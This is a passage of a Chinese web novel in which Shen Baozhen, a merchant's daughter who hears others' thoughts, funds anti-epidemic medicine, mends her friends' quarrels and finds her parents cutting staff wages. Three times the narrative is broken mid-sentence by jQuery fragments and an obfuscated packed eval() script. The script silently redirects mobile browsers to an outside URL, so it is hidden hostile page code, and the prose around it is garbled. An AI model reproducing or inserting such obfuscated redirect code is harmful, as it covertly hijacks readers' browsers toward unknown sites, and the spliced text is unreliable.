$(''.inform'').remove(); $(''#content'').append('' >见状，流冬眉间郁结舒展些许。 【老天可一定要保佑小姐平安无事，不然我做鬼都不会放过你。】膝行向前了些的大丫无声祈祷着。 沈宝珍：…… “好了，都下去。”她要回想下梦里有没有关于秋疫这一出，爹爹娘亲时不时出门打理生意，金陵城可万万不能有事。 【啊怎么办，秦大夫、阿婆和石头他们让我代为感谢小姐，我现在开口还来得及吗？】大丫离开的步子扭扭捏捏。 “磨磨蹭蹭做什么，还不走快些？”沉夏催促道。 “奴婢想……” “别想，消失。”沉夏再次将人拖离。 沈宝珍起身回了书房，提笔落下建兴二十一年秋几个字。 与此同时，朝晖居。 沈福达说完与巡抚大人交涉的结果，岑内琇连声称赞。 “本就是我们应得的，他岂有不应之理？原本还想着把那处庄子转手卖了，现下看来，周遭那些都应该买下来。” “夫人尽管放心，我已经吩咐管家去办了，连带着方圆几里的荒地和山头，也要改姓沈。” “不错，明年这个时候，我们家能多出不少上等良田。” “还有那些山头，我还是想着以木材、药材产出为主，留一座给乖宝建个避暑山庄，反正人手有的是。” “温泉庄子已经有了，确实少个避暑山庄。” 随即他又提及给沈宝珍送了零花钱，岑内琇拿起一旁账册道：“过两月，再送一笔。” 说着，道出给下人、伙计降薪的打算。 理由名正言顺。 沈家给苏河治理捐了三十万，他们作为沈家的下人、伙计跟着沾光，不得意思意思？ 沈福达表示赞同，还建议加上管事、掌柜等。 毕竟上次罚扣月例、工钱，就因为没有公平对待，被乖宝发现了端倪。 这次一视同仁，总不会还有人有怨言了吧？ 沈家长工们：？？？人干事？ * 知府衙门，腾出给巡抚大人专用的一处。 “人流则气杂，气杂则疫生。苏河清淤固堤，募民万余，不得不防。” “秦大夫可有应对之法？” “大人容禀，此次宸幼局十三孩童疱疹之症，所耗费的钱财近千两，若非沈家小姐慷慨解囊，草民亦是有心无力。” “沈家小姐？”周弘言的注意点偏离。 “是，沈小姐不似其双亲，生得一副慈悲心肠，即便是院子最不起眼的丫鬟遭了难，也愿出手相助，实在让老夫佩服。”秦大夫颇为感慨。 他起初以为大丫是贴身伺候的，没想到竟是个只与沈宝珍打过一次照面的洒扫丫鬟。 他去过沈家好几次，可一直没见着沈家小姐模样，只知她有四个贴身丫鬟，待遇不是一般的好，羡煞旁人。 “沈家人都是良善之辈。”周弘言在心里又给沈福达记了一功。 秦大夫：？？？ 莫不是老夫幻听了，沈家都是？大人你怕是被三十万两蒙住了双眼，糊涂啊！ “若是金陵城中富户，皆乐善好施，何愁此困难解。”周弘言喃喃道。 指尖在茶案上叩击的节奏突然停住，盏中茶水晃出个圆满的圈，他的嘴角已噙了三分笑。 8. 第 8 章 -- 翌日，沈家。 “来了。” “对，又来了。” “都来了。” “没想到请我们来，还为给沈家下人治未病。” “未病先防，有何不可。” “没什么不可，就是头次听说有这样好的主子，还特地花钱给下人调养身子，在沈家当差还真是享福。” …… 众大夫坐在亭台中脉诊，间隙时不时聊上两句。 听着他们你一言我一语，下人们白眼快翻到天上去。 沈家下人：如果我们说，花的是自己下个月的月例，有人信吗？天呐，小姐菩萨心肠，夫人心如蛇蝎，我们哑巴吃黄连… 小姐心善，为他们特地请大夫上门，不假。 可要说在沈家当下人享福，这点真得说道说道了。 沈家主子有三个。 除了小姐，还有老爷夫人。 小姐刚捐出去三十万，夫人就来克扣月例，还明令泄露半个字，就要扫地出门。 这次小姐大张旗鼓请大夫登门，保不齐老爷又要出什么幺蛾子… 苍天呐，不带这样玩弄人。 待大夫们给下人们望闻问切完，流冬又请他们拟定了祛湿辟秽、驱散邪气、避瘟囊方，以及防疫汤方。 一通忙活完，揣着丰厚报酬走出沈家门的秦大夫，才后知后觉。 防疫汤方，煎服辅助解毒。 所用的艾叶、甘草、青蒿等，都是寻常之物，不需要耗费昂贵的药材。 熬煮好，让役民各喝一碗，也无需太过担心出现什么秋疫了。 接下来，就等周巡抚那边的好消息。 没两日，巡抚夫人设赏菊宴。 金陵城商户女眷也收到帖子，沈家更不例外。 请帖送到岑内琇手里，她来到芳菲院问沈宝珍去不去。 后者表示近期不宜出门，还让她找个由头婉拒。 “这哪成，巡抚夫人头一回设宴，我们沈家绝不可错过。” 【去，必须去，这么好的机会，怎么能不去。】 娘亲如此期盼，沈宝珍不忍心破坏她的兴致，只得道：“让流冬跟着一块，都离旁人远些。娘亲别忘了随身佩戴这些驱邪避疾的药囊，若是身子不适，千万别硬撑，快些回来。” 巴拉巴拉说完，同样的话又嘱咐了沈福达一遍。 虽然大夫都来把过脉了，连主带仆喝了两回汤药，各个铺子里的掌柜伙计们也一样，可沈宝珍还是有些担心。 她根本想不起来梦里有没有秋疫这出，但既已出现苗头，必须保持十二分警惕。 被闺女殷殷叮嘱的岑内琇和沈福达心软得一塌糊涂，一个劲地应好。 乖宝说什么我们就做什么。 乖宝想做什么尽管去做，爹娘兜底。 沈宝珍当然是嗯嗯嗯。 赏菊宴这日。 岑内琇早早到了，和巡抚夫人李氏寒暄了两句，就开始四处游走，状似不经意提及自己备的“薄礼”，勾起一众来客的好奇心。 等李氏暴露此次宴会最终目的时，大部分人的注意力，集中在她们母女腕间若隐若现的镯子上…… 盛情难却收下的李氏发现这一情况，为免引起非必要猜测，影响枕边人的清廉官声，毫不避讳露出普通得不能再普通的白玉髓。 众人：这礼果然薄。 就等着这一时机的岑内琇，不慌不忙道：“这对玉白子母镯，经由百福寺玄明大师诵经开光。” “竟能请动玄明大师诵经开光，应有趋吉避凶之效。” 不久前巡抚夫人的幼女就在百福寺遭了难，能请动高僧玄明为这么一串普通的玉髓加持佛光，也不足为奇了。 “礼轻情意重，沈夫人可真有心呐。” “莫非是你亲自去百福寺，求了玄明住持？” “玄明大师德高望重，哪是随随便便就能见到的？” “那这玉白子母镯，你是从何而来？” “岑记布行旁边新开了一家福宝斋，这对玉白子母镯，便是从那而来。”岑内琇拔高音量，力求多几人听清。 “福宝斋，百福寺，听着像是一家。” “赶明儿去瞧瞧。” “回去正巧路过。” …… 女眷们心痒难耐，暗戳戳决定宴席一散场，就去逛逛。 岑内琇见状，就知道大功告成了，擎等着收钱咯。 是的，岑记布行是沈家的，在她名下。 左边新开的福宝斋，也是沈家的，但记在别人名下，右边丰稷杂粮铺，同样是沈家的，当然也在别人名下。 财不外露，才能财源滚滚。 至于所谓的玄明大师诵经开光，当然是真的了，不止一对，而是一堆。 真真切切进了百福寺，与玄明大师共处一室，听过他诵经祈福的玉料，怎么不算开过光呢？ 至于那些料子，也没费多大劲获取，其实是温泉庄子那挖出来的石头。 最好的都留给乖宝了，这些边角料制成的头饰耳坠手镯珠串，摇身一变，价值倍增。 宴会重心偏离，巡抚夫人虽是微笑着，却有种无力感。 好在最后，还是募集到近万两。 那对玉白子母镯，也物归原主。 接连数日，进出福宝斋的妇人们，就没有空着手出来的。 岑内琇翻动账册，觑了眼装着玉白子母镯的妆匣，乐得眼眸眯成了一条缝。 * 另一边，离城十数里的沈家田庄。 “又快到了。” “都给我手脚麻利点。” “弄完赶紧走。” “千万别磨蹭，快。” …… 越靠近目的地，役头催促得越来劲。 至于吗？ 负重而来，负责将河淤送至沈家庄园的役民，难免生出怨念。 但只敢在心里不满，没人会跟工钱过不去。 “哎哎哎，别倒，轮到那边几块地了。” “摊平整些，边边角角都别落下。” “你们几个在偷懒啊，没工具使就把杂草拔了、碎石清了，路拓宽些。” …… 田庄佃户叉着腰对着役民们指手画脚，一副管事的作派。 “我们不是送完淤泥就可以走了吗？为什么还要留下来干活？” “这些人看着不像役头啊，倒像是村里的老庄头。” “哎役头怎么走了？” 先前被留下来的役民：“别喊了，省点力气。”这里多的是活给你们干。 “我们不是佃户，还得回去清淤。” “你以为我们就是了？我们和你们一样，送一趟河淤就被扣留在这了。” “看到这边几亩地了吗？都是我们翻的；看到那几个棚了吗？就是夜里睡觉的地方，自己搭的，还有……” “不对啊，为什么？凭什么？” 刚要回答他的役民，见着背着手过来的田庄管事，忙闭上嘴溜到另一侧去了。 他怕自己气狠了动手，没带这样欺负人的。 管事的拍了拍手，新来的这波役民不约而同看了过来，原先的那些要么盯着脚下的田地发愣，要么直起腰看热闹。 “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749873|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …你们用着田庄的棚，喝着田庄的水，煮饭烧的是田庄的柴，帮着搭把手干点活不是应该的吗？” 先前役民：那是我们自己搭的！水明明是渠里来的，渠还是我们挖的，柴是我们帮着开垦荒山捡的……天杀的，怎么就成欠下的了？ 新来的胆子大，也零星打听到了些内情，直言吐露役民们的心声。 “你们就说脚下踩着的是不是沈家田庄的地吧。” 众人：！！！ 没走远的役头，用袖子擦了擦脑门上的虚汗，回去得跟人换份差事，这队一带一个有来无回，万一哪次把自己搭上了，哭都没地哭去。 “巡抚大人说，淤泥无处安放，我们老爷忍痛将自家田庄拿出来帮忙，只是让你们按照要求处理，很过分吗？有什么不对吗？ 役民：！！！很过分，哪哪都不对！但是说不上来… * 岑内琇和沈福达不择手段开源节流，沈宝珍一心败家苟命。 听爹爹娘亲提了一嘴，说是役民喝了安魄平气的药汤、茶饮，一个个精气神足得很，干起活来格外卖力。 可惜就是巡抚夫人和众女眷凑的万两银子太不经用，估计只够撑到初冬。 到时候还得想想办法，让她们再凑上一大笔银子，怎么也得让役民熬到明年春耕结束。 沈宝珍不明所以，但从中悟到了一点。 那就是，药汤茶饮，强身健体，顺应四时调配，还能养身防病。 若能让金陵百姓都喝上，根本用不着担心什么秋疫，这还将是一笔巨额支出，持续性削减家底。 说干就干。 吩咐知春、流冬前往惠民医馆，和秦大夫商定，由他出面牵头城中各处的医馆、药铺，将把这事落成。 特地强调，无需提及是由沈家出资，每月连带宸幼局的账目一并结算就是了。 毕竟，沈家刚给苏河治理捐了三十万两，要是又来上这么一出，任谁都能猜到沈家家底颇丰，这可不是沈宝珍想要的结果。 名声如浮云，她只求安宁。 - 花子巷。 “娘，你就算不心疼自己身子骨，也要为孩他爹想想啊！” “酒楼这月开的工钱，比上个月又少了十文，家里穷得都要揭不开锅了，你还一心想着从自己牙缝里省下口粮去接济那些孩子。” “上月你一声不吭跑去宸幼局，我和孩他爹都要急死了，什么办法都想了，才知晓你被困不得出。” “你只惦记着他们没爹没娘没人疼，我们一家子难道比他们好到哪里去了吗？” “娘，我知道我说这些你不爱听，可我实在忍不住了啊！” “你知道孩他爹整夜睡不着，天没亮就去酒楼候着，今早我摸了下他的枕帕，上面还有没干的泪痕，我的心有多酸，有多痛吗？” “娘能不能多想想我们这个家，别在把心思都扑在那群外人身上？我们也会寒心的啊！” …… 听着儿媳发自肺腑的字字句句，老妇提着竹篮的身形止不住晃。 也不知道是劳累过度，还是受了刺激，猛地栽倒在地。 “娘，你别吓我，我错了，我不该说那些话！”年轻妇人眼疾手快，接住了上半身。 “娘醒醒，来人啊，帮帮忙。” 一刻钟后，惠民医馆。 “大夫，我娘她这是怎么了？严不严重？” “饿的。” “……”老妇儿媳松了口气的同时，又觉胸闷气短。 在四海酒楼干杂役的儿子急匆匆跑来，听到这个答案，表情有些难看，让人分辨不出是在哭还是笑。 9. 第 9 章 “娘，你这是何苦？我这个儿不孝，算是坐实了。” 听着众人指指点点，说当儿子的把老娘饿晕了，实在是大逆不道。 刚同沈家丫鬟，商量完毕正事的秦大夫瞅了一眼，见到了熟悉的老妇，也就是照料宸幼局孩子口中的那位阿婆，当即出声解释起来。 跪在老妇身侧垂头任人责骂的儿子儿媳，听到秦大夫为他们正名，还带着敬佩的语气说起老娘做的事，脊背僵直。 躺着的老妇缓缓睁开眼，看到的就是这么一幕。 “承蒙周济，惠民医馆从明日起，将免费派发三根汤、十神汤等，老姐姐不妨来医馆帮忙，也能就近照料那帮孩子。” 秦大夫对着老妇说完，又看向她那儿子儿媳：“放心，有工钱。” “真、真的？” “众目睽睽，岂是虚言！”秦大夫吹胡子瞪眼。 沈家小姐仁善之至，连全城百姓的养生温补汤药都给包了，自然不会吝啬给宸幼局那帮孩子一些吃食。 明明周巡抚赴任苏州驻守前，明令官署，要给予宸幼局所收容的孤儿最基本生活保障，可他们却阳奉阴违。 作为知情人，还是他一手将孩子们从鬼门关救回的秦大夫，气得吹胡子瞪眼，也只能忍。 是以，在知春和流冬道明来意后，他厚着脸皮提及了此事。 想来很快就会有准信，即便没有，惠民医馆也确实需要人手，足以让老妇及那些孩子都饿不着。 “多谢秦大夫。” “不必谢我，这是你娘她应得的。若非她十年如一日关照宸幼局那帮孩子，也不会有此机缘。” “是，我们知道错了。” “娘，娘你听见了吗？你可以来医馆帮忙，也可以去宸幼局，我们再也不拦着你了。” “先让娘吃点东西，怕是饿坏了。”一直睁着眼睛不说话，怪瘆人的。 “嗯嗯。” “是娘对不住你们。”喝着递到嘴边的水，老妇终于开口。 “娘没错，都是儿没本事，才让娘跟着受累。” “以后，娘也可以帮衬你了。”老妇摸了摸儿子的大脑袋，带着几分歉意地看向儿媳。 “娘！”被生活磨平了棱角的男人，眼眶一下子就红了。 想到自己今日口不择言说的那些话，儿媳也跟着湿了眸子。 …… 沈家，芳菲院。 “小姐，事都安排妥当了。” 【之前还觉得秦大夫医者仁心，没曾想名利双收了，竟得寸进尺。已经给宸幼局负担了医药费，还想让小姐管他们吃穿嚼用，那明明是官府该管的事。】 “他还说了什么？”沈宝珍明知故问。 【谁？秦大夫？小姐猜到了？】 知春不再欺瞒，但叙述时带上了个人情绪。 “既舍千金，何惜一缗。”沈宝珍淡淡道。 “姑且不论染了时疫那月宸幼局的耗费，我和流冬今日去那惠民医馆，还特地瞧了最近半月宸幼局开支，额外多了好几笔。” 流冬点头表示认同。 “怎么回事？”沈宝珍是想败家，但不想糊里糊涂被人耍。 “还不是那些黑心肝的，听说宸幼局的孩子看病抓药不花钱，竟直接将自家患病的儿女弃置，等痊愈了，又偷偷接回去。” 沈宝珍：“……”还能这样？ 流冬再次点头，要不是亲耳听见，她也想不到。 “罢了，随他们去，应是迫不得已。”至少还知道把孩子接回去，没真的丢了不要。 挺能理解的抚秋，刚想劝劝，听到小姐这话，心神一定。 “知春留下，你们都先下去。”刚踏进门的沉夏，就这么被一句话带走。 “小姐。”知春视线游移，最后定在鞋面。 “你是为我着想，但不该自作主张。”沈宝珍语气不疾不徐。 “小姐，我知错了。” “以后吩咐你们什么便做什么，不得隐瞒。”沈宝珍又道。 平日自由过了火，关键时刻就会任性，豁出命干傻事。 “是。” 待知春也退下，沈宝珍揉了揉眉心，莫名有些疲惫。 猜测在家憋太久，遂应邀赴约许久没参加的闺阁雅集。 对标贵女、才女，金陵城商贾之女，也会不定期组织小聚。 偶有琴棋书画、诗歌唱和，更多时候是在焚香品茗、莳花候月。 这次选址，定于梦溪堂，据说金陵书院今年诗会魁首所作的诗文，已被收录于此。 诗文，虽不善写，但她会赏。 主要是当乐子消遣。 沈家，不属于金陵商贾中拔尖的那批。 但沈宝珍每每参与闺阁雅集，对上拔尖家族的女子，总是乘兴而归。 一如这次。 “沈妹妹，听闻你救了巡抚之女，怎么救的？”源兴绸缎庄谢氏，谢谰语。 【为了攀上新来的巡抚大人，沈家真是什么手段都使得出来。】 【说不定就是自导自演了一场戏码，以救命恩人身份自居，又大手笔捐三十万两，所图甚大啊。】 【父亲总让我谨言慎行，莫要惹沈宝珍不快，真不知道为何要对小门小户的沈家这般宽厚。】 “吩咐随从，顺手而为。”沈宝珍扫了她一眼。 源兴绸缎庄承接云锦贡品生产，虽无皇商之名却有实，但梦中却在建兴二十二年夏，与盐商伍氏一道，因涉及盐政贪污案被查处。 想到这，沈宝珍看向盐商伍氏之女，伍珂玥。 “看我做甚？” 【沈宝珍好像不一样了。】 【啊，谰语真是的，都让她别打扮成这样，就是不听，丑死了，我的眼睛快被闪瞎了。】 “无事。”沈宝珍摇头失笑，这两人不是手帕交吗？ 读心，让一些关系变得…额…复杂。 “有日子没见沈妹妹，可是还成天捧着话本子不撒手，没有好好休息？”诗书商贾万氏，梦溪堂东家，此次牵头人，万曦。 【果然不能指望这两个蠢货！】 【沈家到底做了什么？为何连母亲都要我待沈宝珍如自家姐妹，凭什么？】 【就连魏雅我都只是勉强与之交好，想让我哄着求着沈宝珍，她也配？】 “又被万姐姐看穿了。”过去想不通的，这会沈宝珍都明白了，先前就觉得万曦对自己的态度古怪，原来是被逼而为。 咦？为什么呢？ 她也想知道。 【傻子都知道，你除了看话本子，啥也不会，不会真觉得万曦有多聪明吧？】商宦之家，魏氏，魏雅。 “你呀，还是小孩子心性。”万曦温柔打趣。 “她已经及笄，不是孩子了。”谢谰语接话，又道：“沈妹妹定亲了吗？” “我爹爹娘亲说，不急，再过几年。” “……”在座的各位要么已经定亲，要么正在议亲，反正都提上了日程。 听到沈宝珍毫不避讳说出自家爹娘的打算，众人心里酸溜溜，又忆起莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749874|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名吃瘪的从前。 真要论起来，沈宝珍其实没有资格和她们同席。 因为，沈家崛起也就前些年的事，经营范畴太杂，啥都涉猎，缺少底蕴。 沈家什么都不精，但，什么都能搭上边。 久而久之，就成了金陵商贾中不可或缺的一份子。 “再过几年，人老珠黄。”伍珂玥有些不爽。 【到时候嫁不出去，我一定回金陵笑话她一顿。还不如学学谰语，每天打扮得花枝招展，恨不得明天就能进万氏的门。】 万氏？ 谢谰语，梦里嫁的好像不是万氏，而是…伍氏？！难怪，一损俱损。 不过，万氏又因为什么出事了来着？ 沈宝珍试图回忆，无果。 反正最后，连魏氏也没了，她们最后的结局，都很惨。 所以，沈家才成了出头鸟。 对，就是这样。 那如果，眼前这些人的家族都不倒呢？或者说，晚点倒。 沈家是不是就不会壮大那么迅猛了？ 可，要怎么做，她不会啊。 “装糊涂也要分时候，和你说话听不见？” 【沈宝珍，你可真是好样的。】 “沈妹妹这是怎么了？” “装傻充愣，惺惺作态！” 回过神来的沈宝珍，听清这句，朝着伍珂玥道：“你在说我？” “就是说你，怎么了？”伍珂玥语塞，谢谰语上前帮腔。 “算了，她说你的话更难听。”沈宝珍不以为意道。 “胡说八道，我什么都没说。”伍珂玥当即反驳。 “挑拨离间的手段，太拙劣。”谢谰语辣评。 “她说你，打扮得花枝招展，丑死了。”沈宝珍睫毛轻颤，唇珠微启。 此言一出，伍珂玥神色有异，谢谰语下意识看向她，自然发现了端倪。 “珂玥？！” “我…没有。”伍珂玥肩膀猛地一缩，手不自觉揪住衣角。 【我根本没有说出口，她怎么会知道？】 “呵。”谢谰语甩手回到自己位置上，气得不顾形象直翻白眼。 【枉我视她为金兰之交，恨我眼拙，真心错付！】 “我…她在胡说！”伍珂玥语调突然拔高，又急急补充。“万姐姐、温姐姐她们可以作证，我没说过你半字不好。” “哼。”明显心虚，当她看不见？ 伍珂玥张口欲辩，唇齿开合几番，竟未吐露出半句像样的话，挫败得瘫坐在原位，整个人都憔悴了几分。 【我只是，不希望你失了智般糟践自己，只为那万家大少爷能多看你一眼，他也配？】 沈宝珍诧异抬眸，这才是真相？ 三言两句，便教知己陌路，万曦和魏雅来回扫视双方，试图找出玩笑的痕迹。 【莫非沈宝珍之前都是装的？就像她那爹娘一般，外示怯懦，内藏锋刃？那可真是太可怕了。】万曦默然。 【沈家，果然如父亲所说，不可小觑。】魏雅垂眸。 “这样就受不了了？方才同仇敌忾的阵仗呢？”沈宝珍由衷道。 谢谰语背过身去，一言不发。 沈宝珍走近谢谰语：“可想听听伍姐姐原话？” 伍珂玥怒目而视，欲言又止。 【我说她打扮得花枝招展，丑死了，是因为她眉目如画，根本无需浓妆艳抹。】 谢谰语重重点头。 她倒要听听，这人究竟在背后怎么中伤自己。 10. 第 10 章 “她说你打扮得花枝招展，丑死了，是因为，你眉目如画，根本无需浓妆艳抹。” “还有，她不希望你失了智般，为了讨得他人欢心作践自己。” 谢谰语胸腔熊熊燃烧的火焰，骤然熄灭，细雨绵绵萦绕心田，鼻尖不由酸涩。 伍珂玥不可置信地瞪大了眼睛，这这这…怎么会…她怎么都知道？ “好奇我怎么知道？你的心思都写在脸上了。”沈宝珍随意扯了个由头，反显得可信。 误会解开，两人咬了会耳朵，和好如初，朝沈宝珍露出的笑容都真挚了几分。 【作乱饵乱，构衅解纷，她竟善权谋之术？！】万曦一惊。 沈宝珍：…… 【她不会也看透了我的心思吧？】魏雅抿唇。 “你们俩……” “我们什么都没说！”万曦和魏雅异口同声道。 “行吧，反正一个勉强与对方交好，一人认为对方不聪明罢了。”沈宝珍故技重施。 万曦和魏雅：！！！ 【胡说八道，也不是很勉强。什么？魏雅说我蠢？我比兄长读的书都要多！】 【她不够聪明，但也不蠢啊！不对，万曦并非真心实意与我交好？很勉强？】 两人转头看向对方，又默默移开。 果真，沈宝珍没说谎。 万曦：【魏雅！骂我蠢是吧？我确实蠢，蠢到亲自给你挑话本子，还特地求父亲寻名家字帖，就是为了让你练练那手狗爬字！】 魏雅：【可恶！万曦你还我发簪，那是姑母派人从京城送来的，只有一对，家中姐妹讨要，我都没舍得给，你…你没有心！】 风水轮流转，谢谰语和伍珂玥坐在一块，吃着糕点看着戏。 沈宝珍喝了口水，清了清嗓子：“其实，也不止这两句。” “说！”万曦和魏雅再次齐声，随即气鼓鼓哼了对方。 沈宝珍依言复述，她们为彼此做的，却没有宣之于口的事。 “你送我的簪子，我一直戴着，很喜欢。”万曦柔声，眼尾泛着红。 “字帖我每日都练着，字长进不少了。”魏雅有些不好意思道。 “嗯。”两人默契应声。 言归于好，执手相看。 沈宝珍端起杯子又抿了一口，心下感叹还是家里的好喝。 一抬眸，发现四人直勾勾盯着她。 “嗯？” “你怎么知道的？”四人。 “又想合起伙来欺负我？” “我们没有。” “你们有，再这样，以后我就不赴约了。”沈宝珍认真道。 “不是，我们没有。” “有。” “行吧，不问了。” “嗯。” “……” 回到了闺阁雅集常规话题。 无非是最近在做什么，有什么趣事。 “我最近在败家，挺有趣的。”沈宝珍语出惊人。 小姑娘们：？？？ 【三十万两，确实败家。得一石碑，有趣在哪？】 【只听过败家子，没听过败家女，沈宝珍不会是要当晟朝败家女第一人吧？】 闻言，沈宝珍来了兴致。 大谈特谈她们一起出资架桥铺路建凉亭挖陂塘，到时候桥、路、亭、塘都会铸碑写上她们的姓名，流芳百世！ 凭什么只有男子才能扬名立万，她们女子也不差！ 家底颇丰，但自己囊中羞涩的姑娘们：你以为谁都像你一样，是家中独女，千娇百宠？ 【我能支取的银子，拢共就两万两。】 【她是真没有其他事可做了吗？爹娘竟宠溺到如此地步？】 沈宝珍据此出主意。“要不你们回去问问双亲？” 四人：！！！生怕我们日子过得太舒坦了？ 散场后各回各家，没主动和父亲母亲说起，反倒被问了的她们，看着到手的一沓银票：？？？ 说没钱的四人，凑了二十万两。 沈宝珍大手一挥，表示出人力物力，预折银十万两，届时功德碑上无需刻她的名。 被谢谰语、伍珂玥、万曦、魏雅当场拒绝。 话里话外就是她不守信用、不讲义气，连心声都在絮叨。 吵得沈宝珍头都大了，只得出现银。 又是一通念经，最终以各出五万两，定下“架桥、铺路、造凉亭、挖陂塘”规划。 具体怎么做，她们犯难了。 对沈宝珍而已，有问题，当然是找爹娘。 “乖宝若是信得过爹爹娘亲，这事就交给我们办。” 沈宝珍小鸡啄米般点头，但表示这笔银子，不只是她一人出的，须得与另外四人商议。 次日，四海酒楼。 已经和家中父亲母亲通过气的四人，齐刷刷表示没问题。 【想不通，为何父亲那般激动，好像不是花出去五万两，而是挣到了五万两。】谢谰语双手捧着下巴。 【听父亲的意思，架桥铺路建凉亭挖陂塘对盐业大有裨益，这样花钱好像是有点趣。】伍珂玥摩拳擦掌。 【母亲还问我要不要再添些，什么时候花起钱来如此大手大脚了？】万曦百思不得其解。 【父亲母亲难得态度一致，也不知道下个月能不能给我涨点月例，攒钱可太难了。】魏雅目露期待。 沈宝珍：？？？爹爹娘亲帮忙说和了？顺利得不可思议。 正事定了，又是茶话会时间。 堂倌一如既往热情待客，将茶水点心一一呈上。 就是掌柜的不像之前那般，特地来打招呼，也可能是她在会友的缘故。 沈宝珍没放在心上，沉浸在闲聊的欢快气氛中。 直到，天色已晚，再度散席。 作为东道主，又是酒楼少东家，沈宝珍肯定是最后一个走的。 热闹一停，各种心声纷扰。 沈宝珍注意到掌柜和管事间，无声的交流。 【客官喊我充耳不闻，小姐来了我视而不见，东家算账我一窍不通…】掌柜盯地。 【没意思，真没劲，怎么还不打烊，酒楼什么时候倒灶？天怎么还不塌下来？】管事仰天。 沈宝珍：？？？不对劲。 见沈宝珍表情耐人寻味，知春示意掌柜和管事近前。 “说吧。” 摆烂的二人组，被少东家抓包，还轻飘飘落下这么一句，掌柜和管事心跳漏了半拍，面面相觑。 “小姐有什么吩咐？”掌柜微微躬身。 【说？说什么？有什么好说的？反正工钱一月比一月低，迟早全家老小喝西北风。】 “小的不知要说什么？”管事有样学样。 【我敢说吗？我能说吗？工钱都被减两成了，也不知道活个什么劲？没意思。】 沈宝珍：？？？ “你们的工钱……” 掌柜和管事条件反射捂嘴。 【我刚才说话了？我不会说出来了吧？被东家知道，我就死定了。】 【小姐怎么会问这事？我没说话啊，我绝对没有开口！】 “罢了，回吧。”她去问问爹爹娘亲，到底是怎么个事。 “乖宝为什么突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749875|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关心这事？”岑内琇将糕点碟往沈宝珍那侧推。 【这次又是哪个嘴里没把门的家伙？太给他们脸了是吧？被我揪出来，就别想在金陵城待了。】 沈宝珍：“娘亲同我讲讲。” “他们的工钱每月都有定数，你翻翻账册就清楚了。” 【乖宝最不喜欢看账册，就算写得明明白白，送到芳菲院，她也不见得会打开瞧上一眼，如此，也不算我这当娘亲的糊弄她了。】 “好吧。”不出意料，沈宝珍打起了退堂鼓，就在岑内琇以为这事就要翻篇时，沈宝珍眨巴着眼睛道：“账册取来，我瞧瞧。” 岑内琇：？？？ “乖宝莫不是对打理家中产业感兴趣了？”沈福达想的是另一个角度。 【那可太好了，摊子越铺越大，的确有些力不从心，一时疏忽的地方，总会有几个偷奸耍滑的，还真是让人防不胜防。】 沈宝珍点头，确实想了解点。 岑内琇闻言一喜，如此甚好。 千有万有，不如本事在手。 “来人，将账册取来。” “夫人指的是哪里的账册？”嬷嬷问。 “四海酒楼、岑记布行。”先从简单的看起。 “是。” 沈宝珍上手翻了翻，顿觉头晕眼花。 “乖宝可是哪里不适？”岑内琇站起身。 “不好看，就不看了。”沈福达作势拿走账册。 沈宝珍摇了摇头：“爹爹，娘亲。” “哎。” “我……” “嗯？”心不由提了起来。 “看不懂。” 夫妻俩噗呲笑了。 “看不懂有什么关系，爹娘在呢，日后还有知春她们。” 沈宝珍抿唇不语。 “娘亲教我。” “乖宝是不是受什么委屈了？” “你之前一直不乐意学，怎么突然就愿意了？”沈福达打趣道。 “我学会了，爹爹娘亲就不用那么辛苦。”沈宝珍认真道。 “好，娘亲教你。”夫妻俩再次展颜，这回是欣慰的笑。 * 事实证明，难得糊涂。 比如看账册。 一口一个乖宝的岑内琇，教了半日悔不当初。 “为何采买一样的物件，价钱有高低之分？” “怎么就非得如此记账？不能精简些？” “娘亲不觉得这些名录很是多余？” “下人们月例低了，都不够置办双鞋袜。” “这账有误！铺子里进账一日比一日多，上到掌柜，下到伙计，工钱一月比一月少。” 对上沈宝珍那一双剔透的眸子，巧舌如岑内琇都不知如何辩解。 “娘亲。” “乖宝想怎么做？” “之前扣留的就算了。” 岑内琇眼尾的细纹随之淡了几分，但紧接着，沈宝珍话锋一转。“日后都发双份月例、工钱。” 岑内琇：！！！ 干笑了两声，挣扎道：“乖宝说的，是给芳菲苑的下人发双份月例？” “一应下人、伙计、管事、掌柜，一视同仁。”没有功劳，也有苦劳，双份于她而言，都算少了。 往后沈家是何命数犹未可知，梦里有不少仆从跟着落难，眼下让她们快活些，有何不可？ 闺女，一视同仁不是这样用的！ 想到白花花的银子，将从自家库房流向他人钱袋，岑内琇的心像被针扎了般密密麻麻疼。 不行，得找老爷想想办法，从别处再找补回来！ 11. 第 11 章 确认双薪后，沈家。 